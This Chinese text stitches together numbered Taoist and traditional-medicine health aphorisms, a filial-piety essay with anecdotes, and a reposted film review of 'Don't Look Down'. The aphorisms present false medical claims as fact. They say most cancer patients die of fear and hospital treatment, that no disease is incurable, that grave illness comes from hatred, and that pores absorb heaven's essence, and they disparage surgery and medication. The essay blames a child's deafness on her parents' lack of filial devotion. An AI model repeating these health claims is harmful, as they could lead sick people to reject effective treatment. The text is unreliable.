53 为了养生而死的,占十分之三。到底怎么回事?是因为太爱惜自己的身体了。为了这副臭皮囊,怕受辱,怕受宠,怕吃亏,怕上当,瞻前顾后,左顾右盼,担惊受怕,患得患失……这样,他那颗心整天缩成核桃样,像是被狗反复啃过,怎么能不死。越怕死,越死得快。你要是养生,就得不怕死。只有不怕死,才能远离死。真正不怕死的人,走路不会遇上老虎,就是遇上老虎也不吃他。打仗遇不上刀枪,就是遇上,刀枪也不伤他。为什么?因为他不把死当回事,不怕死,死也就没法了。养生,并不是修道的目的,但是修道的人已经看透了生死,所以不再怕死,既然已经不再怕死,那么死也就不再是问题。生死这一关过去,还有什么过不去的?因此,修道的人能够长生。没想到长生,反倒能长生。一心想着长生,反而死得快。长生不是修道的目的,它只是修道的附带现象。
54 人有病,人还不以为有病,这就是人的最大的病。知道自己有病的人有多少呢?
55 天天三更半夜还在网上的人,本身就是养生的大忌。包括一些所谓的名医也是这样。还有,他们的心量也是斤斤计较,试问这样的人连自己都保不住,还怎么医人呢?
56 别贪那个小便宜,大便宜也别贪。一个贪字就含着祸。贪,患得患失会导致人得心脏病。贪,患得患失是不懂道法自然的表现。
57 不要天天想着吃什么补阴,吃什么壮阳。记住了,运动就可以生阳;静坐就可以生阴。阴为阳之母,阳为阴之用。
58 人在气不足的时候,不能盲目补气,否则会影响身体健康。如果是因为血不足,就需要先补血,因为血为气之母,否则就成了干烧器皿,把内脏烧坏;如果是因为淤滞不通,就可以增加气血,血气同补。这样才能达到补气的作用。
59 环境对人养生的重要性是不言而喻的。这就是为什么人在空气清新的深山老林里,会把痼疾养好的道理。因为深山老林中的精微物质(负离子)会通过人在放松情况下的深呼吸把它吸收到人体内部,从而滋润孕养五脏六腑,使人重新焕发活力。还有重要的一点常人并不所知,就是人不仅仅是通过口鼻来呼吸,人身体的每个汗毛孔都是可以呼吸的,而且正是它们吸取着天地的精华。
60 人在松静的状态下,慢慢深呼吸就能体会到人和天地精微之气的交换:在吸气时,实际除了肺在吸气,整个身体是在把体内的气向外排,即把人的气释放到天地;而肺在呼气时,实际人是在通过全身毛孔吸收天地的精微之气。这大概就是老子所说的“天地之间,其犹橐龠乎”。
61 运动有两点禁忌:一是不能在气血不足的时候运动;二是不能在污浊的环境中运动。
62 运动的作用有二:一是增加气血的运行速度,促进体内的垃圾排出体外;二是打开皮肤的毛孔,吸收天地精气。
63 什么是悟性?什么是智慧?悟性和智慧就是用最简单的方法来处理、看待一切事物。但一些庸人自扰的人总是把简单的事情看复杂了、做复杂了。繁和简其实是一回事,是一回事的两个方面。聪明的人看到的是简单的一面,愚蠢的人看到的是复杂的一面。
64 人治不了的病,要靠神治;神治不了的病要靠佛治。佛是什么?佛是心。
65 现代的医院和法院差不多,动不动就给病人下了死刑判决通知书。而好多情况下,是把不该判死刑的人判了死刑。为什么这么说呢?就以“癌症”为例,癌症现在在人们的心里=死刑。其实如果我们不叫它癌症,那么对于病人来讲,就等于给病人留下了希望,等于留下了生机。所以我讲,现在的癌症病人有大半是被吓死的,是被精神压力折磨死的。同时也是被医院折磨死的。因为你一旦被诊断成了癌症,那么他就可以肆无忌惮地处理你,治不死是你命大,治死了,因为你是癌症。事实上讲,没有治不了的病,只是你的心能不能放下,一切病从心生,一切病从心治。只要你还活着,你就有生机。找到了这个生机,对症而治,你就会康复。
66 现在是一个竞争,把所有的秩序都打乱了,把人引入了魔道。竞争是什么?竞争就是把人们引入无限的贪欲世界。你一方面提倡竞争,一方面又谈什么构建和谐社会,这不是典型的自欺欺人吗。
67 根据阴阳互抱的原理来看,清与浊相互吸引。所以人食入清新之物必将与体内污浊之物相抱,从而把它们排除体外。
68 污浊之物的产生一是因为食入不干净食物,但更主要的是食入了过多的食物,体内不能运化造成食物堆积成垃圾。
69 顺应自然是养生的最高境界。一个人生下来,他的命运就基本上是有一定定数的。他该干什么,不该干什么,该吃什么不该吃什么,如果能顺着他的运数去做,就会平安无事。有悟性的人会发现、知道自己的运数,知道他应该干什么,不应该干什么。所以养生绝对不是简单模仿,人云亦云。不要去羡慕别人,要从自己的心里找到自己的悟性。那么人如何才能发现自己是否顺其自然了呢?其实这太简单不过了,你有病了,你不舒服了,你不自在了,那你就是违背自然了。要做到顺外面大自然的自然,还要顺自己内在命运的自然,这二者是不可或缺的。
70 很多人一听到医师宣布自己得了重病时,往往都会显现出一副无辜的模样,希望用切、割、毒、杀等外来方式去除疾病,然而,疾病真的会没来由地产生吗?世上绝对没有这种「好好的就突然生病的事情」。以感冒为例,如果真要病人作自我反省的话,通常患者都会表示,自己在感冒之前,曾经一连熬了好几个通宵;有些人会说,自己最近吹了冷风、淋了雨;有些人则说,工作的压力很大,常常头痛又失眠。事实上,诸如此类现象,都是导致感冒的因素,接句话说,假使病人的敏感度及警觉性够的话,自然能够做到「防患未然」的目标。
71 真正的科学是什么?就是因缘果报。不信因果,就不是真正的科学。
72 没有怕吃亏的心,没有占别人便宜的心。换句话说,就是你能吃亏,别人就是要你命你都舍得,你都给他,而自己在任何时候都不去贪便宜,那你的心还能不定吗?世人谁能做到?但佛就做到了。
73 当人们掌握了健康的方法之后,会真正享受到那种完全不用担心疾病的自信,这种感觉真好,但愿您也能和我们一样拥有这份自信。
74 学问深时意气平,心定则气平。所以对于一个得道的人来说,观察一个人,并不是一件很困难的事,这也是相随心转的结果。
75 名为五欲之最难破者,色次之,财又次之,食与睡更次之。名心不死,无以入道。
76 百病之始,起于风邪乘入。如体气虚弱,营卫失调,或忧思惊恐,酒色劳力,真气耗而外邪入矣。
77 治五脏之病,莫先于补气。肾犹亟焉。补气在勿动心,心动则肝旺,各脉震惊,真水耗损。
心为扇,主引风。风动则火旺,火旺则水干,水干则地损。
78 对于医生而言,心定神一,受治者信坚心专,两心相合,可以统治百病,无不神效。
79 从当年希特勒绕开盟军坚固防线攻克马其诺防线的案例中,我悟到了:对付一些顽固的病症,不能正面硬攻,要从其他的相关方面突破。如治疗肾病,肝病这些顽固之症,可通过调肺、脾等来达到效果。
80 中庸,是养生的根本原则。人体中的气血也是一对阴阳,血为阴为体,气为阳为用。血为气之母,气为血之帅。气不足,易得淤积之病,如肿瘤、血栓等;气太过,易得脑出血之类的病。所以,只有气血平衡,人才能健康。
81 人只有悟到什么是“自然”了,才算是得道了。知道自然,然后能顺其自然,这个人就是神人。懂得阴阳了,懂得顺其自然了,你就一定会成为良医大德了。
82 什么是自然,自然就是任何事物都有阴阳两面,任何事物都要经过生、长、收、藏的过程。你顺应这个过程,采用五行相生相克的原理去调节病人的平衡,怎么会治不好病呢。
83 简单和复杂是一对阴阳,越是复杂的事情,往往用最简单的办法就可以解决。同样,看似最简单的问题,你往往解决起来并不容易,你付出极大的努力也不一定能解决得了。这就和刚柔一样,柔极能克刚,刚极柔不防。所以,我们在解决问题的时候就要有这个思路,遇到复杂的问题要去找简单的方法解决,遇到简单的问题不要忽视它,要引起足够的重视。就和毛主席所说的那样,战略上藐视,战术上重视。就是对问题给予藐视,对过程引起重视。
84 我们看看这个世界上是不是这个道理。吃饭睡觉有几个人能顺其自然,有几个人能遵守自然。你遵守不了,为什么?因为它太简单了,正因为太简单了,所以你就不容易遵守。这就是辩证法。
85 什么是平衡?平衡就是阴阳的互相依存和互相制约,哪一方太过或不及都会失去平衡。怎么会伤元气,失去平衡就是在伤元气。经常处于平衡的状态,元气就会保持得好,人就衰老的慢。
86 阴阳之道就是矛盾对立的两个方面互相依存、互相转化。任何一对矛盾,如果一方脱离了另一方,不受另一方的制约了。那它离消失、灭亡就不远了。你看,当今社会,领导们都不喜欢制约,喜欢独来独往,我行我素,贪污受贿,其结果是什么就可想而知了。阴和阳就是如此。大自然中,一个事物的出现,总有另它产生的因素,但同时总会出现另一因素来制约它。这就是五行相生相克的道理,也是阴阳相互依存、相互制约的道理。所以养生的道理也是如此,你生病了,总有一个使你生病的因素存在,同时也会有一个制约它,令你疾病消失的因素存在。正如自然界中毒蛇存在的地方,必定附近就有解蛇毒的草药存在一样。
87 什么叫人得意忘形?他失去控制了,失去阴的制约了,所以其下场毕竟是……,同样人也不能一味消沉下去,这就是失去阳对他的制约了。
88 如何具有大智慧,没有博大的胸怀,哪来的大智慧。
89 俗语说,活到老,学到老。学习也要应时,到什么年龄就要学他这个阶段应该学的东西,否则就是不应时,不顺其自然。但看看我们现在的教育,从幼儿园到大学,有多少是学了应该学的东西。小时候应该学什么,应该学德,学孝道,接着学识字断句,再往下学如何做事。到青年学如何优生优育、家庭幸福。到了中年,学习养生之道。到了老年,学放下心态,安享晚年。继续教育学什么,就是要学这些。
90 情志跟疾病的相关性是很密切的,有些疾病就是因情志而起,你用药物治疗,治来治去都不好,对于这类疾病,解铃还需系铃人。五志能够致病,五志亦能解病。
91 养生有一条很重要,就是不能怕死。怕死者阳气不足,阳气不足,死神就会找到你。这就是道家所讲的,修炼人要有英雄的气质。仁、智、勇三者缺一不可。
92 当你把什么学问理解到她是非常简单朴素的时候,这时候你才是真正得到其中的三昧了。如果你还感到她是那么博大精深,深不可测,那是你还没有掌握到她的精髓,是只见到茂密的树叶,而没看到她的根本,这时候你还是处于“有”的阶段,没有达到“无”的境界。一切离不开阴阳,万事万物离不开阴阳。这个根本就是阴阳。知其一,万事毕。
93 凝神定气,物我两忘。—养生的真谛。
94 主明则下安,以此养生则寿,殁世不殆,以为天下则大昌。主不明则十二官危,使道闭塞而不通,形乃大伤,以此养生则殃,以为天下者,其宗大危,戒之戒之!
95 五行相生相克的应用:凡是因五脏太过引起的疾病,都可以用五行相克的方法对治。同样,凡是因为五行不足引起的疾病都可以用五行相生的方法解决。这是运用五行的根本原则。
96 现代人往往都在追求提高物质生活方面下工夫,这种追求的后果是很可怕的。要知道,人们对于物质的欲望是无止境的。一旦这种欲望得不到控制,那等待我们的就是无止境的痛苦。其实,物质能带来的享受,精神也能;药物能治疗疾病,心理疗法也能做到。所以,我们用一生来追求财富,不如用一生来培养出一种好的心态,让我们的精神达到一种超凡的境界。
97 当人们掌握了健康的理念和方法之后,会真正享受到那种完全不用担心疾病的自信,这种感觉真好,愿我们都能拥有这份自信。
98 我们人体是一个充满智能的机体,我们的身体有好多“哨兵”:牙齿、阑尾、扁条体等。本来一旦我们的身体有异常时(通常是“上火”),这些哨兵会立即做出反应通知大脑。聪明的人这时候就应该调整心态,检讨自己,让自己平和下来。但现在我们的西医都做了什么?你疼不是吗,我把你们通通切除掉。现在更有甚者,发明了一种仪器,你不是得了过敏性鼻炎打喷嚏吗?我把你鼻子里的敏感区神经烧毁,这样以后你怎么刺激它都不会打喷嚏了。西医这样做的后果就是可能我们再生病后,切掉的就是我们的五脏六腑了。
99 记住,我们偶尔拉肚子、打喷嚏、咳嗽、发烧等都是我们自己的身体修复系统在工作,不要一出现这些症状就滥用药物。
100 很多重病或绝症,都只有一个理由:恨。当这恨没了,病也必一起消失。这世间最难解的是绵延不止的恨,固有解不开的恨,才有治不好的病。

恨父母是最折福的!

我认识一位医生,在临床干了一辈子,刚退休,为人和蔼,善与人交往,在医院接触人本来就多,又能与人聊天,知道很多别人的生老病死、喜怒哀乐之事。那晚她感慨,在医院里阅人无数,发现那些孝顺父母的境遇都不错,事业发达,反之那些混得差的,都是不孝父母的。她在医院这个特殊的地方,看得很清。

孝顺的人才能发达

她随便给我举了一些例子,先从她自己的亲人中说:我的侄子是个孝顺人,他总说,父母的滴水之恩当涌泉相报。他确实也在行动中表现出来。他得到了好报,他一个平民子弟,到加拿大留学,先是到一个小城市,后来考到了多伦多大学(全世界排名第16,比北大往前100多位)……侄子在加拿大听说他奶奶身体不好,他知道他妈妈跟婆婆(即他奶奶)关系不好,特意给我打电话,让我照顾他奶奶去。我家在北京,但感侄子一片孝心,还是特地赶到郑州去照顾他奶奶去了。他还打电话给他母亲,说一定不能对奶奶不好。他母亲看在儿子的面上,也负担起照顾婆婆的任务。这侄子现在事业很发达。

我们医院里有一个工人的孩子,高中毕业没毕业不知道,平常打架骂人说脏话,是个混小子。但就是对爷爷奶奶好。我们都知道他妈妈对婆婆并不好,就是这个孙子对这两个老人好,要报恩,因为从小是爷爷奶奶把他带大。在他的带动下,他妻子也对老人很好,夫妻俩一起行孝。虽然他妈妈对奶奶不孝,但他对妈妈也孝顺,每次看望母亲都是一掏一大把钱,也没个数,就扔在那里。总之这人很孝顺,就这个没文凭的主,现在zuo到北京一个五星级大酒店的采买,极肥缺,总有人请,甚至请到澳大利亚玩,现在车房都买了,家庭兴旺富足。

我的一个亲妹妹,很自私,什么总先为自己考虑,不管父母。 她做什么都很有障碍。做安利十几年了,也有点小财,到处给人讲安,利的课,可还是没发起来,到现在还很困难。而同时一起她的姐妹,反而都比她过的好了。

我家对面胡同里,住着一下岗职工,吃低保,两口对公公婆婆不好,那男的爸爸脑血栓瘫在床上,这汉子有的是时间,没钱能出把力吧?也不去照顾一下,他妈妈跑过来骂这两口子,我们街坊都看见了……结果这家混得很惨,生活很困难,小女儿才八九岁,长得也不好看,一个耳朵失聪,带着助听器,很可怜。但凡家庭不旺的,大多家庭不和,尤其孝道缺失!总之可怜之人必有可恨之处,我现在算知道这一点了。

老祖先留给我们的汉字,充满了人生的智慧。这个“教”字的古字是这么写的:左边两个叉,一个小孩,第一个叉是父母、老师画的,第二个叉是小孩模仿,画下来,上行下效,身教。而且这个父亲做了多久?做了可能十多年,孩子懂了,这叫耐性。拿着一枝树枝,耳提面命,提醒孩子,所以教育要有耐性。

从一个教字,就给我们了解到,要身教、要有耐性。其实我们不管是带孩子还是带下属,只要觉得带不动,回到这两点来自我反省,决定可以更上一层楼。比方,这个下属心量太小,那怎么办?我的身教还不够,自己更扩宽心量。我们现在处事,心量为什么打不开?很容易见别人的过,然后放在心上。现在人严重到什么程度?父母做得不妥当的地方都放在心上,怨父母。一个人连父母都怨,他的心量能有多大?我们要了解,怨天尤人,尤其怨自己的父母,那是最折福的。

有一个读书人,他学问很好,一直考不上。后来遇到一个高人提醒他,你在小的时候,用非常怒目去瞪你的父亲,你这一念心,把你本来的功名给折掉了。为什么?没有父母怎么会有现在的我们?我们一出生,没有父母的养育、照顾,我们早就不在这个人世间了。既然没有父母就没有我们,我们这一生还有什么好跟父母计较的?还有什么不能供养给父母的?更何况父母给我们的爱,他还是无私付出,也不求我们的回报。那怎么连生命来自于父母,我们还要去怨父母?报恩都来不及。“可是父母有不对呀”,父母有不对,我们为人子是要去劝父母,让父母成为圣贤人,这才是我们要存的心。

《弟子规》很重要一句,“恩欲报,怨欲忘”怨要放下,恩要提起来。一个人假如每天都念恩,他每天都欢欢喜喜,每天都在报恩,生活非常的充实快乐。我们干嘛好日子不过,幸福在哪里?一念之间,要把它转过来。

一个人对他人,对万物万事 没有敬畏之心、感恩之心,则万事万物都难得助你,哪有福报可言?

转载《不要向下看》影评

评论人:歌尔德蒙

“电影,并不是因为它是生活,而是因为它是奇迹,是各种偶然因素的中介。”超现实主义者皮埃尔·纳维尔如是说。确实,我们看电影也不是先想从中看见生活,我们需要的也只是奇迹。阿根廷电影《不要向下看》或许正是这样的一个奇迹。
很多时候我们被平静而绝望的日常生活挟裹着匆匆前行,直到某天死亡的时刻来临,我们以消灭身体的代价摆脱了这种庸常状态。但在等待这一时刻到来的那些日子里,死亡的阴影始终乌云般笼罩着我们,让我们日益陷入某种虚无和绝望的深渊。
但总有些偶然的创伤性事件忽如起来,翻转那些庸常和绝望编织的幸福生活的图景,使我们看到其美丽背后的杂乱无章,为我们真正地跃入世界提供跳板。对于少年埃洛来说,他深爱的父亲的死亡就是这样的一个跳板。在此之前,通过阅读父亲的那些美丽的情书,其实已经使他看到了希望,即人可以通过爱情实现超越。但父亲的死打破了这一幻想,因为父亲至死都没有跟所爱的人在一起。
父亲的死亡使得埃洛患上梦游症,在幻觉看见父亲的形象,在大街上看到已经死去的人成排地坐在墙根下,沉默不语。这种在大街上的日常遭遇和梦中的“夜常”遭遇是超现实主义喜欢的题材。超现实主义者认为在日常生活中存在着奇迹,问题在于如何使奇迹显现出来。他们彻夜闲逛,拿着伦敦的地图在巴黎按图索骥,把无辜的陌生人引导歧路上。总之,艳遇,或者说奇迹是他们唯一目的。和美女的一瞥之恋,和美景的不期而遇,和戏剧性场景的邂逅,都会令他们狂喜不已。
笼罩在死亡阴影下的少年埃洛,干着一份卑微的工作,或者套着公仔在大街小巷行走,或者其着人力三轮车去送墓碑,唯一的乐趣就是化装成小丑模样踩着高跷在街上闲逛。一个踩着四米高的高跷的人看见的世界和我们这些每一步都踩在地上的人看见的肯定是不一样,但具体如何,我们并不知道,就如我们不知道踩着高跷在云端接吻的感觉一样。
患上梦游的埃洛,某次意外地跌进了正开着屋顶的窗户看月亮的塞尔维拉的房间。从此以后,在成熟美女塞尔维拉的引导下,埃洛经历了一场丰富多彩的性爱之旅,他了解了自己的身体。从不解风情的懵懂成长为经验丰富的情人,成了布宜诺斯艾利斯最好的情人。他每次高潮来临的时候,总是觉得自己到了别的地方。纯洁的性爱成了他超越平庸的桥梁,他在一次次的高潮中体验着这个世界。伦敦、巴黎、巴塞罗那、威尼斯,这个世界随着他的性爱之旅在他的眼前依次展开,这种超现实主义体验使他摆脱了对死亡的恐惧,也治好了他的梦游症。故事到了这里,似乎已经很完美了,性的本能,或者说生的本能已经遏制了死的本能,爱情也抵御了对死亡的恐惧。
但如上面所说,某些创伤性事件总会不期而至,使人去寻找新的超越。塞尔维拉无意中看见了小时候的衣服,回忆起童年时期父母的离去。某种死亡的恐惧和阴影从此挥之不去,埃罗的美好生活也就到了头。因为塞尔维拉决定离开,去寻找某种可以摆脱死亡阴影的东西。也许人生大抵如此,呼唤人的与被人呼唤的,总是很少能互相呼应。
马克思说:“改变世界”。兰波说:“改变生活”。安德烈·布勒东说,这两句口号在我们看来是一个东西。似乎在超现实主义看来,日常生活中奇迹的存在首先要打破各种理性主义心灵官僚统治系统,把人的心灵和情感从被异化的意识中解放出来。也许此片的名字《不要向下看》是说,当我们踩着高跷在云端的时候,犹如片中那个踩着高跷抱着树的少年,踩着高跷在云端接吻,这时候世俗的世界被他抛诸脑后,满眼所见惟有安静的树,变化的云,美丽的女人,也许这一切就够了。